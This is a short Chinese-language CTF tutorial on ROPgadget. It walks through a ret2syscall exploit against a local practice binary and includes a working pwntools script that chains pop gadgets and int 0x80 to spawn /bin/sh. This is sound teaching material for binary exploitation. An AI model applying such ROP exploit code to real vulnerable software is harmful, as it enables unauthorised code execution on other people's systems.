ROPgadget的使用方法

程序如下

这时候我们可以写exp

from pwn import *
p = process("./ret2syscall")

offset = 112

payload = b'a' * offset

p.sendlind(payload)
p.interactive()

但是我们的NX不可执行

明确目标(组合 shellcode 的步骤)

我们需要实现一个调用 execve("/bin/sh", NULL, NULL) 的 shellcode。目标是设置以下寄存器值:

  1. 系统调用号 (eax): 设置为 0xb,表示 execve 系统调用。

  2. 第一个参数 (ebx): 指向 "/bin/sh" 的地址,或者指向执行 sh 的地址。

  3. 第二个参数 (ecx): 设置为 0

  4. 第三个参数 (edx): 设置为 0

由于无法直接在栈中写入指令,我们需要利用程序中现有的指令(如 popret)来逐步实现这些寄存器值的设置。


栈中数据的构造

为实现上述目标,我们可以按照以下顺序在栈中构造数据:

  1. 设置 eax0xb:

  • 找到 pop eax; ret 的指令。

  • 在栈中放置 0xb,使 pop eax; ret 执行后将 eax 设置为 0xb

  1. 设置 ebx, ecx, 和 edx:

  • 找到 pop ebx; pop ecx; pop edx; ret 的指令。

  • 在栈中依次放置:

    • "/bin/sh" 的地址。

    • 0(表示 ecx)。

    • 0(表示 edx)。

  1. 触发系统调用:

  • 找到 int 0x80 的地址,并将其放置在栈中,最后触发系统调用。


栈中数据布局示例

栈布局(从高地址到低地址):
----------------------------------
pop eax; ret
0xb
pop ebx; pop ecx; pop edx; ret
"/bin/sh" 的地址
0
0
int 0x80 的地址
----------------------------------

任务

我们需要从程序中寻找以下指令序列:

  1. pop eax; ret

  2. pop ebx; pop ecx; pop edx; ret

  3. int 0x80

通过这些指令,配合精心构造的栈数据,我们可以成功实现所需的 shellcode。

继续完成我们的exp

from pwn import *
context(arch = "i386", os = "linux")
p = process("./ret2syscall")

offset = 112
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
bin_sh = p32(0x080be408)
int_0x80 = p32(0x08049421)
payload = b'a' * offset + pop_eax + p32(0xb) + pop_edx_ecx_ebx + p32(0) + p32(0) + bin_sh + int_0x80
p.sendline(payload)
p.interactive()

实际上还有 leak libc + ROP

ret2csu, stack pivot, ret2dl_resolve